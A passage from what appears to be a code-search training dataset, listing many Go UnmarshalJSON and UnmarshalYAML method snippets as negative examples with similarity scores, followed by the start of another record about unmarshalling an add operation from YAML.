err\\n\\t}\\n\\t*a = AddScriptToEvaluateOnLoadArgs(*c)\\n\\treturn nil\\n}\",\n \"func (j *CommitteeMemberUpdateGlobalParametersOperation) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (TagsAdded) Unmarshal(v []byte) (interface{}, error) {\\n\\te := TagsAdded{}\\n\\terr := json.Unmarshal(v, &e)\\n\\treturn e, err\\n}\",\n \"func (j *Json) UnmarshalJSON(data []byte) error {\\n\\terr := json.Unmarshal(data, &j.data)\\n\\n\\tj.exists = (err == nil)\\n\\treturn err\\n}\",\n \"func (f *Feature) UnmarshalJSON(b []byte) error {\\n\\tif b[0] != '\\\"' || b[len(b)-1] != '\\\"' {\\n\\t\\treturn errors.New(\\\"syntax error\\\")\\n\\t}\\n\\n\\treturn f.UnmarshalText(b[1 : len(b)-1])\\n}\",\n \"func (m *Json) UnmarshalJSON(data []byte) error {\\n\\tif m == nil {\\n\\t\\treturn faults.New(\\\"common.Json: UnmarshalJSON on nil pointer\\\")\\n\\t}\\n\\t*m = append((*m)[0:0], data...)\\n\\treturn nil\\n}\",\n \"func (v *FuturesBatchNewOrderItem) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson25363b2dDecodeGithubComDarkfoxs96OpenApiV3SdkOkexGoSdkApi104(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func AddCustomer(w http.ResponseWriter, r *http.Request) {\\n\\n\\tcustomer := model.Customer{}\\n\\tjson.Unmarshal(r.Body.Read(), &customer)\\n\\n}\",\n \"func (a *ParamsWithAddPropsParams_P1) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error unmarshaling field %s: %w\\\", fieldName, err)\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *Service) UnmarshalJSON(b []byte) error {\\n\\treturn CommonUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (obj *CartAddShippingMethodAction) UnmarshalJSON(data []byte) error {\\n\\ttype Alias CartAddShippingMethodAction\\n\\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif obj.ShippingRateInput != nil {\\n\\t\\tvar err error\\n\\t\\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (f *FeatureOperationsListResult) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"nextLink\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"NextLink\\\", &f.NextLink)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"value\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Value\\\", &f.Value)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", f, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *OneLike) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\tdecodeOneLike(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventPipelineAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk26(l, v)\\n}\",\n \"func (t *TestLineUpdate) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"tags\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Tags\\\", &t.Tags)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", t, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (e *Extension) UnmarshalJSON(data []byte) error {\\n\\tif e == nil {\\n\\t\\treturn errors.New(\\\"openrtb.Extension: UnmarshalJSON on nil pointer\\\")\\n\\t}\\n\\t*e = append((*e)[0:0], data...)\\n\\treturn nil\\n}\",\n \"func (j *Json) UnmarshalJSON(b []byte) error {\\n\\tr, err := loadContentWithOptions(b, Options{\\n\\t\\tType: ContentTypeJson,\\n\\t\\tStrNumber: true,\\n\\t})\\n\\tif r != nil {\\n\\t\\t// Value copy.\\n\\t\\t*j = *r\\n\\t}\\n\\treturn err\\n}\",\n \"func (v *AddScriptToEvaluateOnNewDocumentReturns) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage105(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *CreateQueueResponse) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *AddScriptToEvaluateOnNewDocumentParams) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoPage106(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *EventApplicationAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk22(l, v)\\n}\",\n \"func (v *bulkUpdateRequestCommand) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV72(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *ModifyQueueRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (tok *Token) UnmarshalJSON(b []byte) error {\\n\\tvar s string\\n\\tif err := json.Unmarshal(b, &s); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*tok = Lookup(s)\\n\\treturn nil\\n}\",\n \"func (v *CreateUserRequest) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson84c0690eDecodeMainHandlers3(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *FF_BidRequest) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (s *Int64) UnmarshalJSON(b []byte) error {\\n\\tvals := make([]int64, 0)\\n\\terr := json.Unmarshal(b, &vals)\\n\\tif err == nil {\\n\\t\\ts.Add(vals...)\\n\\t}\\n\\treturn err\\n}\",\n \"func (t *Transfer) UnmarshalJSON(data []byte) error {\\n\\tif id, ok := ParseID(data); ok {\\n\\t\\tt.ID = id\\n\\t\\treturn nil\\n\\t}\\n\\n\\ttype transfer Transfer\\n\\tvar v transfer\\n\\tif err := json.Unmarshal(data, &v); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t*t = Transfer(v)\\n\\treturn nil\\n}\",\n \"func (a *Event_Payload) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *Meta_Georegion) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (this *Simple) UnmarshalJSON(b []byte) error {\\n\\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (v *EventApplicationVariableAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk5(l, v)\\n}\",\n \"func (this *ImportedReference) UnmarshalJSON(b []byte) error {\\n\\treturn TypesUnmarshaler.Unmarshal(bytes.NewReader(b), this)\\n}\",\n \"func (a *LabelUpdate_Properties) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]string)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal string\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *SyntheticsTestRequestBodyType) UnmarshalJSON(src []byte) error {\\n\\tvar value string\\n\\terr := json.Unmarshal(src, &value)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t*v = SyntheticsTestRequestBodyType(value)\\n\\treturn nil\\n}\",\n \"func (a *Secrets) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]string)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal string\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (o *OperationInputs) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\tcase \\\"type\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Type\\\", &o.Type)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (b *T) UnmarshalJSON(p []byte) error {\\n\\tb.BloomFilter = new(bloom.BloomFilter)\\n\\treturn json.Unmarshal(p, b.BloomFilter)\\n}\",\n \"func (v *EventPlayerEventsAdded) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonC5a4559bDecodeGithubComChromedpCdprotoMedia4(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *IngredientArr) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeBackendInternalModels7(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (future *SubAccountCreateFuture) UnmarshalJSON(body []byte) error {\\n\\tvar azFuture azure.Future\\n\\tif err := json.Unmarshal(body, &azFuture); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfuture.FutureAPI = &azFuture\\n\\tfuture.Result = future.result\\n\\treturn nil\\n}\",\n \"func (r *AddCustomRuleResponse) FromJsonString(s string) error {\\n\\treturn json.Unmarshal([]byte(s), &r)\\n}\",\n \"func (t *BlockTest) UnmarshalJSON(in []byte) error {\\n\\treturn json.Unmarshal(in, &t.Json)\\n}\",\n \"func (ppbo *PutPropertyBatchOperation) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"Value\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvalue, err := unmarshalBasicPropertyValue(*v)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tppbo.Value = value\\n\\t\\t\\t}\\n\\t\\tcase \\\"CustomTypeId\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar customTypeID string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &customTypeID)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tppbo.CustomTypeID = &customTypeID\\n\\t\\t\\t}\\n\\t\\tcase \\\"PropertyName\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar propertyName string\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &propertyName)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tppbo.PropertyName = &propertyName\\n\\t\\t\\t}\\n\\t\\tcase \\\"Kind\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar kind KindBasicPropertyBatchOperation\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &kind)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tppbo.Kind = kind\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (a *Meta_Up) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *bulkUpdateRequestCommandData) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson1ed00e60DecodeGithubComOlivereElasticV71(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (l *Ledger) UnmarshalJSON(b []byte) error {\\n\\treturn json.Unmarshal(b, &l.Entries)\\n}\",\n \"func (o *OperationInputs) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"name\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Name\\\", &o.Name)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", o, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (adlsp *AddDataLakeStoreParameters) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar addDataLakeStoreProperties AddDataLakeStoreProperties\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &addDataLakeStoreProperties)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tadlsp.AddDataLakeStoreProperties = &addDataLakeStoreProperties\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (asap *AddStorageAccountParameters) UnmarshalJSON(body []byte) error {\\n\\tvar m map[string]*json.RawMessage\\n\\terr := json.Unmarshal(body, &m)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfor k, v := range m {\\n\\t\\tswitch k {\\n\\t\\tcase \\\"properties\\\":\\n\\t\\t\\tif v != nil {\\n\\t\\t\\t\\tvar addStorageAccountProperties AddStorageAccountProperties\\n\\t\\t\\t\\terr = json.Unmarshal(*v, &addStorageAccountProperties)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\treturn err\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tasap.AddStorageAccountProperties = &addStorageAccountProperties\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (m *MultipleActivationKeyUpdate) UnmarshalJSON(data []byte) error {\\n\\tvar rawMsg map[string]json.RawMessage\\n\\tif err := json.Unmarshal(data, &rawMsg); err != nil {\\n\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", m, err)\\n\\t}\\n\\tfor key, val := range rawMsg {\\n\\t\\tvar err error\\n\\t\\tswitch key {\\n\\t\\tcase \\\"tags\\\":\\n\\t\\t\\terr = unpopulate(val, \\\"Tags\\\", &m.Tags)\\n\\t\\t\\tdelete(rawMsg, key)\\n\\t\\t}\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"unmarshalling type %T: %v\\\", m, err)\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (a *ParamsWithAddPropsParams_P2_Inner) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]string)\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal string\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn fmt.Errorf(\\\"error unmarshaling field %s: %w\\\", fieldName, err)\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *Features) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjson42239ddeDecodeGithubComKhliengDispatchServer25(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (j *InstallPacket) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (v *EventPipelineStageAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjsonF8e2f9b1DecodeGithubComOvhCdsSdk5(l, v)\\n}\",\n \"func (v *AddSymbolToWatchlistRequest) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson3e8ab7adDecodeGithubComAlpacahqAlpacaTradeApiGoV3Alpaca20(l, v)\\n}\",\n \"func (v *item) UnmarshalJSON(data []byte) error {\\n\\tr := jlexer.Lexer{Data: data}\\n\\teasyjsonD2b7633eDecodeGithubComZhekabyGoGeneratorMongoRequestwrapperTests(&r, v)\\n\\treturn r.Error()\\n}\",\n \"func (v *AddWeapon) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson6601e8cdDecodeGithubComGoParkMailRu2018242GameServerTypes3(l, v)\\n}\",\n \"func (obj *CartAddCustomShippingMethodAction) UnmarshalJSON(data []byte) error {\\n\\ttype Alias CartAddCustomShippingMethodAction\\n\\tif err := json.Unmarshal(data, (*Alias)(obj)); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tif obj.ShippingRateInput != nil {\\n\\t\\tvar err error\\n\\t\\tobj.ShippingRateInput, err = mapDiscriminatorShippingRateInputDraft(obj.ShippingRateInput)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (j *ThirdParty) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\",\n \"func (a *Meta_Requests) UnmarshalJSON(b []byte) error {\\n\\tobject := make(map[string]json.RawMessage)\\n\\terr := json.Unmarshal(b, &object)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tif len(object) != 0 {\\n\\t\\ta.AdditionalProperties = make(map[string]interface{})\\n\\t\\tfor fieldName, fieldBuf := range object {\\n\\t\\t\\tvar fieldVal interface{}\\n\\t\\t\\terr := json.Unmarshal(fieldBuf, &fieldVal)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn errors.Wrap(err, fmt.Sprintf(\\\"error unmarshaling field %s\\\", fieldName))\\n\\t\\t\\t}\\n\\t\\t\\ta.AdditionalProperties[fieldName] = fieldVal\\n\\t\\t}\\n\\t}\\n\\treturn nil\\n}\",\n \"func (v *EventApplicationRepositoryAdd) UnmarshalEasyJSON(l *jlexer.Lexer) {\\n\\teasyjson4c51a5cdDecodeGithubComOvhCdsSdk9(l, v)\\n}\",\n \"func (j *jsonNative) UnmarshalJSON(input []byte) error {\\n\\tfs := fflib.NewFFLexer(input)\\n\\treturn j.UnmarshalJSONFFLexer(fs, fflib.FFParse_map_start)\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.65699136","0.6485842","0.6424481","0.63932765","0.6292087","0.6257575","0.6179806","0.608316","0.60809153","0.6017797","0.600655","0.5987253","0.59736705","0.59497213","0.59494966","0.59494966","0.58595324","0.5838348","0.58139867","0.57693577","0.57561237","0.5730602","0.56889236","0.5641936","0.56359226","0.5634893","0.56026685","0.5587022","0.55447876","0.5538953","0.553268","0.55296475","0.55291516","0.55272776","0.5516114","0.54771703","0.5472614","0.54660505","0.54659504","0.54614246","0.54526645","0.5449792","0.5448367","0.5439711","0.54396623","0.5439465","0.5436294","0.5434747","0.54295033","0.5425307","0.54212874","0.5416162","0.5412087","0.5409255","0.54007417","0.5399791","0.5390523","0.53800684","0.5376931","0.53732646","0.53618056","0.53596616","0.535691","0.5352795","0.5343608","0.53408694","0.53341275","0.53329915","0.53318954","0.53295565","0.5325605","0.5325355","0.5324724","0.5321537","0.5317834","0.5313148","0.5311014","0.5311009","0.53062594","0.5305372","0.53029376","0.53017175","0.5292626","0.5291263","0.52894706","0.52871895","0.5285765","0.5285742","0.52817863","0.5280224","0.5277637","0.5276478","0.5274256","0.52731615","0.5269445","0.5268477","0.5265816","0.52641344","0.52623886","0.5253081"],"string":"[\n \"0.65699136\",\n \"0.6485842\",\n \"0.6424481\",\n \"0.63932765\",\n \"0.6292087\",\n \"0.6257575\",\n \"0.6179806\",\n \"0.608316\",\n \"0.60809153\",\n \"0.6017797\",\n \"0.600655\",\n \"0.5987253\",\n \"0.59736705\",\n \"0.59497213\",\n \"0.59494966\",\n \"0.59494966\",\n \"0.58595324\",\n \"0.5838348\",\n \"0.58139867\",\n \"0.57693577\",\n \"0.57561237\",\n \"0.5730602\",\n \"0.56889236\",\n \"0.5641936\",\n \"0.56359226\",\n \"0.5634893\",\n \"0.56026685\",\n \"0.5587022\",\n \"0.55447876\",\n \"0.5538953\",\n \"0.553268\",\n \"0.55296475\",\n \"0.55291516\",\n \"0.55272776\",\n \"0.5516114\",\n \"0.54771703\",\n \"0.5472614\",\n \"0.54660505\",\n \"0.54659504\",\n \"0.54614246\",\n \"0.54526645\",\n \"0.5449792\",\n \"0.5448367\",\n \"0.5439711\",\n \"0.54396623\",\n \"0.5439465\",\n \"0.5436294\",\n \"0.5434747\",\n \"0.54295033\",\n \"0.5425307\",\n \"0.54212874\",\n \"0.5416162\",\n \"0.5412087\",\n \"0.5409255\",\n \"0.54007417\",\n \"0.5399791\",\n \"0.5390523\",\n \"0.53800684\",\n \"0.5376931\",\n \"0.53732646\",\n \"0.53618056\",\n \"0.53596616\",\n \"0.535691\",\n \"0.5352795\",\n \"0.5343608\",\n \"0.53408694\",\n \"0.53341275\",\n \"0.53329915\",\n \"0.53318954\",\n \"0.53295565\",\n \"0.5325605\",\n \"0.5325355\",\n \"0.5324724\",\n \"0.5321537\",\n \"0.5317834\",\n \"0.5313148\",\n \"0.5311014\",\n \"0.5311009\",\n \"0.53062594\",\n \"0.5305372\",\n \"0.53029376\",\n \"0.53017175\",\n \"0.5292626\",\n \"0.5291263\",\n \"0.52894706\",\n \"0.52871895\",\n \"0.5285765\",\n \"0.5285742\",\n \"0.52817863\",\n \"0.5280224\",\n \"0.5277637\",\n \"0.5276478\",\n \"0.5274256\",\n \"0.52731615\",\n \"0.5269445\",\n \"0.5268477\",\n \"0.5265816\",\n \"0.52641344\",\n \"0.52623886\",\n \"0.5253081\"\n]"},"document_score":{"kind":"string","value":"0.74007833"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106169,"cells":{"query":{"kind":"string","value":"UnmarshalYAML will unmarshal YAML into the add operation"},"document":{"kind":"string","value":"func (op *OpAdd) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\tvar addRaw opAddRaw\n\terr := unmarshal(&addRaw)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"decode OpAdd: %s\", err)\n\t}\n\n\treturn op.unmarshalFromOpAddRaw(addRaw)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (a anchors) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn nil\n}","func (op *OpRemove) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn unmarshal(&op.Field)\n}","func (e *ExternalOptimizeForConfigV1) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\treturn e.unmarshalWith(unmarshal)\n}","func (s *Step) UnmarshalYAML(unmarshal func(interface{}) error) error {\n\t// unmarshal into stepUnmarshaller instead of Step for dynamic unmarshalling Request/Expect\n\tvar unmarshaled stepUnmarshaller\n\tif err := unmarshal(&unmarshaled); err != nil {\n\t\treturn err\n\t}\n\n\ts.Title = unmarshaled.Title\n\ts.Description = unmarshaled.Description\n\ts.Vars = unmarshaled.Vars\n\ts.Protocol = unmarshaled.Protocol\n\ts.Include = unmarshaled.Include\n\ts.Ref = 